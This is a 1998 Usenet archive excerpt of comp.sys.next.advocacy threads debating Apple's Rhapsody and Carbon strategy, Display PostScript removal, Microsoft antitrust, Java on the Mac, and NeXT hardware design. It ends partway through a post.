References: <355AEC05.AB097DC4@milestonerdl.com> <slrn6o0hnh.kcg.sal@panix3.panix.com> <6lphh7$ila$1@crib.corepower.com> <rmcassid-1106981440550001@dante.eng.uci.edu> <6lpo5p$ivg$1@crib.corepower.com>
On 11 Jun 1998 19:10:49 -0400, Nathan Urban <nurban@crib.corepower.com> wrote:
>Services could probably be implemented as a form of scripting should
>Apple so choose. Might lose some of the OOPness though.
From what I have read, Carbon has no OOPness to lose, It is flat C wrappers
from tip to tail. Is there any reason why a (forgive my MSism here) thunking
layer between YB services and Carbon's scripting couldn't be done?
I don't have an investment in MacOS, so I won't have any intest in Carbon
Apps unless they have access to services and can be scripted from the YB.
I would like it if I started up Carbon-Appleworks and there was a services
top level menu.
--
sal@panix.com
Salvatore Denaro
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6lq7u7$6ac$1@news.seed.net.tw>
Control: cancel <6lq7u7$6ac$1@news.seed.net.tw>
Date: 12 Jun 1998 03:57:39 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: "HsuTung Chen" <htchen@video.ee.ntu.edu.tw>
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From: "Eric A. Dubiel" <eadubie@rs6000.cmp.ilstu.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Killing DPS for EQD is STUPID!
Date: Thu, 11 Jun 1998 23:55:09 -0600
Organization: Illinois State University
Message-ID: <3580C279.23FD@rs6000.cmp.ilstu.edu>
References: <358018FA.61F1@rs6000.cmp.ilstu.edu> <01bd9579$a4c6df00$04387880@test1> <6lpgql$ijk$1@crib.corepower.com>
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Nathan Urban wrote:
> Timbuktu doesn't even remotely compare to NSHosting.
Agreed. Although there are some things Timbuktu does that NSHosting
doesn't...I just hope they bring back an NSHosting style feature that's
very extendable to add other fun/useful networking features.
Some company would create this product, if people want it (we do!) and
Apple doesn't provide it (stupid, and an insult to the very nature of
the power within Unix, IMHO. This is how the free-market works...But I
really would like to see this in the OS from the start as a core
functionality. If DPS was retained, it'd be there...sigh.
-Eric
Eric A. Dubiel; http://www.ilstu.edu/~eadubie
mailto:eadubie@rs6000.cmp.ilstu.edu
Rhapsody, Apple's new UNIX based Operating System based on NeXT
technology - how Mac OS was SUPPOSED to be done! Except now I'm
wondering with the DPS Client/Server features missing... - Me
VIEWS EXPRESSED ARE ENTIRELY MY OWN
From: Donovan Rebbechi <elflord@pegasus.rutgers.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 03:49:26 +0000
Organization: Rutgers University
Sender: elflord@boron-asy-3.rutgers.edu
Message-ID: <3580A546.431ED0C@pegasus.rutgers.edu>
References: <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <357DEE3F.5672@CONVEX.COM> <rmcassid-1006980005070001@dialin9155.slip.uci.edu> <35802aea.92113932@dur-news.ctron.com> <rmcassid-1106981421450001@dante.eng.uci.edu>
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Robert Cassidy wrote:
>
> >The people have not voted, nor have industries (except for Oracle,
> >Netscape, Sun, etc.). If they were to vote, you would probably be
> >very unhappy with the outcome.
>
> A strict vote isn't really appropriate. A well handled monopoly *will* be
> seen as favorable by the public. A good monopoly should deliver marginally
> better products at marginally lower prices. People won't complain, but
> then they won't know that things *could* be better.
Let's look at this in more detail. Consider some of the worlds well
known pseudo-democracies, where people vote, but the press and free
speech is tightly controlled ( for example, by "Internal Security"
laws ). One could argue that if the government of the day receives an
overwhelming majority, then that is a vindication of their
repressiveness. But I for one would disagree.
In this instance, the situation is similar in that Microsoft has done
a good job of keeping the media from getting overly critical of it
(even when criticism seems well deserved) and their PR has been
effective.
The bottom line is that the public basically believe what they are
told, public opinion is meaningless as a guide to what the public
interest is if the public's view is obscured.
-- Donovan
_____________________________________________
^[Dd]ono(va[nN])? *[Rr]ebbechi *$
\*\*\* (WW)?Web-(WW)?Weaver \\
Project Independence -- Linux for the Masses
http://independence.dunadan.com
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 11 Jun 1998 00:26:01 GMT
Organization: I don't think so
Message-ID: <slrn6nu99i.1jk.jason@jhste1.dyn.ml.org>
References: <slrn6nqsvm.ntc.ben@ben.tapehouse.net> <B1A2FE3D-A87E5@206.165.43.79> <slrn6nrftj.4kc.jason@jhste1.dyn.ml.org> <6lmh18$to$4@ironhorse.plsys.co.uk> <slrn6ntje5.g7.jason@jhste1.dyn.ml.org> <6lmp52$to$6@ironhorse.plsys.co.uk> <slrn6ntsf5.148.jason@jhste1.dyn.ml.org> <6lmv32$to$8@ironhorse.plsys.co.uk> <slrn6nu138.148.jason@jhste1.dyn.ml.org> <6ln35n$to$9@ironhorse.plsys.co.uk>
mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>> Nope. It's about attitude.
>So explain the presence of the word "English". I guess a nasty man in a
>white coat and pointy hat must have crept in and typed it whilst you weren't
>looking?
Um, it's part of the quotation.
>> >> I see that the reference went right over your head, so you resort to
>> >> making up stuff like this.
>> >And with your erudition here was me thinking you'd say I'd done a hatchet
>> >job. Maybe I could have done better, perhaps if someone gave me 300
>pounds.
>> Begging for money on Usenet is in very poor taste.
>Oh dear, it looks like you missed the reference...
I gave a clue to my reference, while you tacked a bunch of stuff together.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.atari.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Intel Vivisectors Probed By US FTC: Intel Scrutinized
Date: 11 Jun 1998 09:28:08 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lo7v8$ke5$1@ns3.vrx.net>
References: <Pine.HPP.3.96.980610201623.737F-100000@demeter.sunyit.edu>
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Cc: howej@sunyit.edu
In <Pine.HPP.3.96.980610201623.737F-100000@demeter.sunyit.edu> Jill Howe
claimed:
> Subject: Vivisectors Probed By US FTC: Intel Scrutinized
>
> Pro-vivisection computer company Intel
[snip]
> The Intel International Science and Engineering Fair (ISEF), according to
> the National Anti-Vivisection Society, permits high-school students to
> force-feed mice, inject cocaine into rats and remove baby birds from their
> nests for kiddie isolation studies. And that's just some of what Intel is
> accused of.
Amusing no? Intel holds a science fair, and that makes them
"pro-vivisection"
Maury
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 11 Jun 1998 00:34:08 GMT
Organization: I don't think so
Message-ID: <slrn6nu9oo.1jk.jason@jhste1.dyn.ml.org>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79> <slrn6nrlp3.515.jason@jhste1.dyn.ml.org> <6llfke$m9t$5@ironhorse.plsys.co.uk> <slrn6nta3c.8da.jason@jhste1.dyn.ml.org> <6lme12$to$1@ironhorse.plsys.co.uk> <slrn6ntj3v.g7.jason@jhste1.dyn.ml.org> <6lmisj$to$5@ironhorse.plsys.co.uk> <slrn6ntq44.148.jason@jhste1.dyn.ml.org> <6lmtal$to$7@ironhorse.plsys.co.uk> <slrn6nu0jn.148.jason@jhste1.dyn.ml.org> <6ln4sp$to$11@ironhorse.plsys.co.uk>
mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>> >> >csna -- that's the current context.
>> >> How so? The header has csma too, and that's the one that I'm reading.
>> >The quotes you snipped...
>> <snip>
>> >... point to csna as the primary context.
>> Interesting, since I don't read csna.
>You've forgotten the question:
>When are you going to contribute something useful to csna? Given the amount
>of cross-posting I can't believe you haven't had a suitable opportunity.
http://x7.dejanews.com/getdoc.xp?AN=361484011&CONTEXT=897524888.1446641923&hitnum=10
Satisfied?
>> Anything of yours that I have read has been crosposted to csma.
>> And most of it consists of attacks on poor Lawson.
>What tosh. I'll certainly admit that a lot of time recently has been spent
>defending Apple's choice of imaging model for MacOS X, and that Lawson's come
>in for more heat than usual over this, however if you've been reading my
>crossposts for as long as you claim then the majority most certainly does not
>consist either of attacks on Lawson, or on anything related to Lawson. That
>you think this is the case clearly demonstrates the detrimental effect he is
>having on the groups.
In my recollection, the bulk of your crossposts that show up in csma have
something to do with Lawson.
>> >Now, are you going to say anything constructive, or simply waste more
>> >bandwidth?
>> Funny how it is okay for you to crosspost attacks on Lawson in csma,
>Did I say it was OK? For the most part I try to avoid blatant ad hominem
>attacks; occasionally I have moments of weakness, though. I take it it's OK
>for you to crosspost attacks on me, though?
Apparently it's not okay to defend Lawson.
>I also note you're still avoiding saying anything constructive.
See above.
>Here, let me help you out. Using your own skill and judgement, complete this
>sentence:
>"Apple has long been at the forefront of..."
...providing fodder for flamewars on Usenet.
>> but it's a "waste [of] bandwidth" for me to defend Lawson in a crosspost
>> between csma an csna. Pot. Kettle. Etc.
>Hmm, you missed out the word "black" -- something bothering you there...?
I wouldn't want to be accused of racism again, and I can see that the
accusations fly pretty easily in csna.
>> Oh, yeah, it's also funny how my statement that NeXT advocates are
>> arrogant is an "obnoxious lie" but your ridiculous assertion that I am
>> a racist is somehow acceptable.
>You posted a racist message. QED.
Yeah, right.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: "jvr" <jvr@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 10 Jun 1998 18:15:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <6lnb2l$aml@nntp02.primenet.com>
References: <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com>
Well, it certainly does _not_ depend on harm to MS competitors, either. In
case you haven't noticed the software market is doing pretty well.
This crap about 'potenetial' or 'theoretical' harm to the market is just
that - crap. You don't take people to court over theoretical conditions.
--
My opinions, not those of my employer.
T. Max Devlin wrote in message <3591af5a.5318472@news.supernews.com>...
>"Michael J. Peck" <mjpeck@nstar.net>, on Mon, 08 Jun 1998 10:28:46
>>[...] The very crux of the DoJ case has
>>been that Microsoft's illegal behavior hinges on vendor *dependence* on
>>Microsoft, not on unilateral suffering *because* of Microsoft. Microsoft
>>cannot be characterized as a "bully", except where its competitors are
>>also characterized as "bullies" (e.g. Apple, who "bullied" cloners into
>>severe market losses: Motorola $93 million, Umax $1.1 billion).
>
>I don't understand where you got this argument. Anti-trust has nothing
>to do with benefits or losses to other businesses directly. Restraint
>of trade is illegal because it harms "the market", not the people
>selling things in the market (though some may get hurt, the damage done
>by monopolies is really done to the consumer).
>
>Why do you think this case hinges on dependance _or_ suffering of
>computer OEMs?
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 12 Jun 1998 04:19:37 GMT
Organization: MiscKit Development
Message-ID: <6lqa8p$m6c$2@news.xmission.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net> <edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com>
scott@doubleu.com (Scott Hess) wrote:
> [...] if you can't cleanly place them
> in the base unit, hide the floppy and CD-ROM around the side of the
> monitor, while you're at it,
I disagree with this part. One of the things that always annoyed me about
the NeXT slabs was that the floppy slot was on the side. I've traditionally
been short on desk space and the need to keep an area clear next to the slab
has been a major pain in the rear for me. Because of my desk's layout, the
sound box is always shifting so as to get in the way, for starters...
I think the slot on the front would have harmed the "cool" look of the slab,
but I think in the long run I'd choose usability over visual slickness, even
though I consider it important for my computers to look nice. After all, I'm
buying a computer to use, NOT a nifty decoration for my living room. It is a
difficult trade-off because I hate the fact that PC's are typically so ugly
they _deserve_ to be hidden...
The solution for the slab is to put the slot in the front and then have a
little door that swings down to provide access when you need it and swings up
to make the case look good the rest of the time (like the one in the front of
a VCR that hides all the little controls that are more esoteric than "play",
"rewind" and "eject").
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: nospamnospamnospamnospamnospamnospamnospamnospamnospamnospam@luomat.peak.org (TjL)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
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References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net>
<edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com>
<6lqa8p$m6c$2@news.xmission.com>
Message-ID: <Om2g1.34230$BE5.5426783@news.rdc1.nj.home.com>
Date: Fri, 12 Jun 1998 04:44:30 GMT
NNTP-Posting-Date: Thu, 11 Jun 1998 21:44:30 PDT
Organization: @Home Network
Having easy access to the floppy drive and CD-ROM with the ability to get the
tower the heck out of the way would be really nice.
So much so I've thought about the next machine I get having an external
CD-ROM so I can get at it easier. That way I can turn the tower around to
get at the connectors more easily :-)
TjL, who sold his external CD-ROM case awhile back without thinking
--
"soon": (adv) a time interval somewhere between this afternoon and
the end of the world, if all goes as according to plan"
-- From the Dictionary for Marketing
From: elektrobank@mailexcite.com
Newsgroups: comp.lang.java.advocacy,comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How well does Apple support Java?
Date: Wed, 10 Jun 1998 22:42:37 -0500
Organization: Northeastern University, Boston, MA. 02115, USA
Message-ID: <elektrobank-1006982242380001@a-206-36.sp.neu.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com> <rmcassid-0806982357100001@dialin33413.slip.uci.edu> <TG5f1.12153$Kx3.12551461@news.rdc1.sdca.home.com> <6ljrgk$mqg@nntp02.primenet.com> <slrn6nqt7q.562.sal@panix3.panix.com> <6lmt2n$ign$1@nnrp1.dejanews.com>
As of now, Apple has the slowest VM around. It's not even close to the
speeds you can get on Windows. Steve promised speed equal to if not
greater than the fastest VMs out now in os 8.5. I hope he will come
through with his promise so I don't have to use a PC for all my Java
development anymore. I'm sure they will pull it off, but I'm still sick of
waiting for all these great things Steve is talking about, I want them
now!
> > On 9 Jun 1998 10:31:00 -0700, John Jensen <jjens@primenet.com> wrote:
> > >I think Apple's Java plans have been on-again, off-again. On, with things
> > >like Quicktime for Java. Off, with things like bailing on Java3D. On
> > >again with Java APIs for Rhapsody. Off again, with a missing AWT for
> > >Rhapsody (is it there for RDR 2?).
> >
> > I have not seen that. Apple has promised 100% Java compatibility for
Rhapsody
> > CR1. The YB API is being opened up for use by Java. You can extend
Obj-C with
> > Java and Java with Obj-C. AWT support (and swing and beans) is at least
> > partialy supported in DR2.
>
> Well, let's ask the boys over in Java advocacy:
>
> How well do you think Apple supports Java?
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 Jun 1998 01:49:43 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lqfhn$k1q$1@crib.corepower.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <rmcassid-1106981440550001@dante.eng.uci.edu> <6lpo5p$ivg$1@crib.corepower.com> <slrn6o17gs.ouc.sal@panix3.panix.com>
In article <slrn6o17gs.ouc.sal@panix3.panix.com>, sal@panix3.panix.com (Salvatore Denaro) wrote:
> On 11 Jun 1998 19:10:49 -0400, Nathan Urban <nurban@crib.corepower.com> wrote:
> >Services could probably be implemented as a form of scripting should
> >Apple so choose. Might lose some of the OOPness though.
> From what I have read, Carbon has no OOPness to lose, It is flat C wrappers
> from tip to tail.
Right. I meant implementing Services in AppleScript might lose some of
the OOPness of the current OpenStep Services (because of said lack of
OOPness in Carbon).
> Is there any reason why a (forgive my MSism here) thunking
> layer between YB services and Carbon's scripting couldn't be done?
There probably could be, but there'd have to be an automatic mapping
between whatever the AppleScript hands it and conventional OpenStep types
(like if you have text selected, convert it transparently to an NSString
or something).
> I don't have an investment in MacOS, so I won't have any intest in Carbon
> Apps unless they have access to services and can be scripted from the YB.
> I would like it if I started up Carbon-Appleworks and there was a services
> top level menu.
There would have to be some extra work on the Carbon side so that
Carbon apps could implement services, too. And I don't know of any
way to globally put Service-awareness into existing Carbon apps;
maybe some sort of hook in the ToolKits?
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 Jun 1998 01:53:19 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lqfof$k2k$1@crib.corepower.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tb <markeaton-1106982022300001@user-38ld67p.dialup.mindspring.com>
In article <markeaton-1106982022300001@user-38ld67p.dialup.mindspring.com>, markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> The MacOS X Finder will be Carbon based. From a user standpoint it doesn't
> matter how the Finder is implemented as long as it looks and acts like the
> real deal.
It matters if they can't get neat Workspace features like FileViewer
bundle replacements, inspectors, services, and other stuff that makes the
NEXTSTEP Workspace great. Sadly, they'd never know what they're missing..
(I wonder if we'll start seeing hacks like Carbon-based file inspectors
appearing..)
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 10 Jun 1998 21:13:27 +0100
Organization: EarthLink Network, Inc.
Message-ID: <357EE8E6.2A3F@earthlink.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net> <slrn6nr3i3.1po.sal@panix3.panix.com> <don_arb-0906982347150001@sea-ts8-p25.wolfenet.com> <rmcassid-1006980957580001@dante.eng.uci.edu>
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Robert Cassidy wrote:
> My dollars are already spent, I
> want a committment to the DR1 hardware...
What you said Bob....and more!!!
-Steve
(9500 just waiting for
Rhapsody 1.0
and Mac OS X)
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 11 Jun 1998 23:23:05 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1106982323060001@dialin9229.slip.uci.edu>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de> <tbrown-1106981928040001@mv099.axom.com> <markeaton-1106982022300001@user-38ld67p.dialup.mindspring.com>
In article
<markeaton-1106982022300001@user-38ld67p.dialup.mindspring.com>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> The Finder as presented in Mac OS 8.x is a pretty complicated beast. To
> rewrite *all* that functionality is a pretty big job. Its a much more
> approachable task to make the Finder Carbon-compliant.
Near term...
But you mention what one very real problem with Apple getting OSes out the
door has been:
"The Finder as presented in Mac OS 8.x is a pretty complicated beast."
It is. It's too many things all rolled up into one mass of code. That was
a big part of the attraction to having things rewritten in YB - things
should get a *lot* simpler by making them modular. What is the main cause
of instability on the Mac? Having to replace functionality contained in
the Finder with 3rd party products. Let's open it up, guys.
> Just like there is a ton of 3rd party Toolbox code, there is actually
> quite a bit of 1st party (i.e. Apple) Toolbox code that has to be
> preserved in Mac OS X.
Well, it doesn't have to be preserved forever...
> > At least Lawson has Maury telling him that GX sucked because it couldn't
> > print. Instead I get you claiming that I have 'NO idea what Carbon is'.
>
> Actually, GX didn't suck, it was quite cool. Its downfall was that it
> didn't meet any great market demands. Carbon does.
And it's implementation *did* suck. The idea was killer. But an advanced
printing and typographic architecture that prevented you from printing
from either XPress or Pagemaker because it screwed all the print drivers
was *not* going to succeed. And it screwed all of the fonts as well. Those
two blunders alone were enough to kill it.
> > I'll spare everyone the rant on why I think a Yellow Finder would be
> > better. I suspect there's strong disinterest because, really, it's only
> > a rumor that Apple will use a Carbon Finder, and the final decision is
> > over a year away anyway.
>
> The MacOS X Finder will be Carbon based. From a user standpoint it doesn't
> matter how the Finder is implemented as long as it looks and acts like the
> real deal.
You are right, of course, but we're not users (primarily). We're watching
NT 5 get caught up in a coding nightmare, each one of us remembering the
mythical man-month lectures we got and wondering how in God's name that
beast will ever work. We don't want the same thing to happen to Apple.
Apple has a chance here to use what it has to be light on it's feet - to
do exactly what Bill says his is afraid of - being sufficiently outgunned
technologically that 94% marketshare starts to not be enough to hold the
market. And, of course, we want Apple to be able to advance the MacOS so
efficiently that you can deliver new, exciting things to us, and not spend
so much time recoding for each release.
Basically to believe your own marketing.
-Bob Cassidy
From: bobsun <seebelow@worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Thu, 11 Jun 1998 23:23:35 -0700
Organization: AT&T WorldNet Services
Message-ID: <6lqhj8$leo@bgtnsc02.worldnet.att.net>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com> <morbius-2605982210170001@1cust85.tnt1.santa-monica2.ca.da.uu.net> <jayfar-2705980213030001@downtown1-4.slip.netaxs.com> <6l4dpu$rjh$3@news01.btx.dtag.de> <MPG.fe1cc3464535a439896aa@megsnews.megsinet.net> <6la7v0$2t9$2@news01.btx.dtag.de> <MPG.fe616a02084ee979896ae@megsnews.megsinet.net> <teadams-0806982212520001@nnh-1-21.mv.com>
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Tim Adams wrote:
>
> In article <MPG.fe616a02084ee979896ae@megsnews.megsinet.net>,
> rjvârgâs@mêgsinêt.nêt (RØß J Vargas) wrote:
>
> > In article <6la7v0$2t9$2@news01.btx.dtag.de>, Fam.Traeger@t-online.de
> > says...
> > > And IBM asked DR first (for C/PM), but they came to no deal because
> > > Garry Kiddal (sp?) wasn't home when the guys from IBM came. And then
> > > they asked MS and not somebody who had an OS ready. Three times lucky.
> > >
> >
> > If I remember correctly, MS offered IBM an OS before MS had any idea of
> > *what* OS it was going to provide. I'm pretty weak on the precise
> > sequence of events, so I'll not argue too strongly on this. It was
> > indicative of tactics Microsoft(and the entire industry, for that matter)
> > would bring into play later, and get into hot water over.
> >
> > If I'm right about the events, though, Microsoft worked at least as hard
> > at making the opportunity as it got in luck.
>
> According to the PBS show computer chronicles from a couple of years ago -
> IBM approched Gary Kildal (sp) and talked with his wife. (He was out
> flying). she refused to sign all the non-disclosure papers they wanted.
> IBM went to MS and signed a deal with them.
> IBM found that the DOS they had just bought was basically stolen from
> Digital Research (ie: Gary Kildal's company) and would most likely never
> see the light of day as DR was about to sue them to remove it from the
> market.
> IBM then returned to DR, talked with Gary, got the papers signed, got Gary
> to bless BOTH OS's (I woun't sue). Gary was quite positive his OS was much
> better than the rip off that he didn't fear the opened competition.
> The problem was that when the first PC hit the store shelves, IBM offered
> BOTH OS's for the system. MS'S for around $50 and DR's OS for about $200.
> Cheap won, not Quality.
> My $.02 worth
>
> >
> > --
> > RØß <-- Do you know how BORED a guy has to be to decide
> > he wants to know how to do this?
> --
> Tim
If you want to hear the version according to the IBM engineers
responsible, go to:
http://www.eetimes.com/whitepaper/paper3/paper3b.html
My impression from their description was that CPM played no role, once
IBM decided on DOS, and that the PC was designed around DOS.
bobsun
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 12 Jun 1998 02:27:46 -0400
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <tbrown-1206980227490001@mv128.axom.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de> <tbrown-1106981928040001@mv099.axom.com> <markeaton-1106982022300001@user-38ld67p.dialup.mindspring.com>
In article
<markeaton-1106982022300001@user-38ld67p.dialup.mindspring.com>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
>The Finder as presented in Mac OS 8.x is a pretty complicated beast. To
>rewrite *all* that functionality is a pretty big job. Its a much more
>approachable task to make the Finder Carbon-compliant.
>
Again, Apple promised a Finder for Rhapsody CR1? How does the Rhapsody
DR2 Finder stack up against the Mac OS 8.1 Finder (or better the Mac OS
8.5 Finder that it will be released against)? Am I asking for someone to
break NDA here? I doesn't seem like this would be top secret information
or anything.
If the Finder replacement for Rhapsody is unusable for a Mac user, and
would require a lot of work to bring up to snuff, that's one thing. I
don't however, think the Mac OS 8.x Finder is a 'pretty complicated
beast', unless you're refering to 8 generations of hacked Finder code that
makes it a mess. It's harder to write the first time (done that) and it
shouldn't take 2-3 years to write (Apple should be at least 1 year into
writing a Yellow Finder).
>The MacOS X Finder will be Carbon based. From a user standpoint it doesn't
>matter how the Finder is implemented as long as it looks and acts like the
>real deal.
You say this like it's a fact, has Apple openly commited to this course?
(I keep waiting for some reason, like 'a transparent blue box will need a
Carbon Finder', or even pseudo-reasons like 'we want to share the same
code base with OS 8/9"...)
It is true, as long as it works the user doesn't care. But, when it's
easier for Apple to make it 'work better' due to it being based upon a
better framework, the user will begin to notice. When Apple can offer Mac
OS X (w/o BlueBox and Carbon) fairly easily on other platforms, users will
notice the choices (I for one would like to see Apple stop limiting their
choices, even if they don't plan on doing so, why cut off choice
needlessly?). When third parties add new functionality to the Finder via
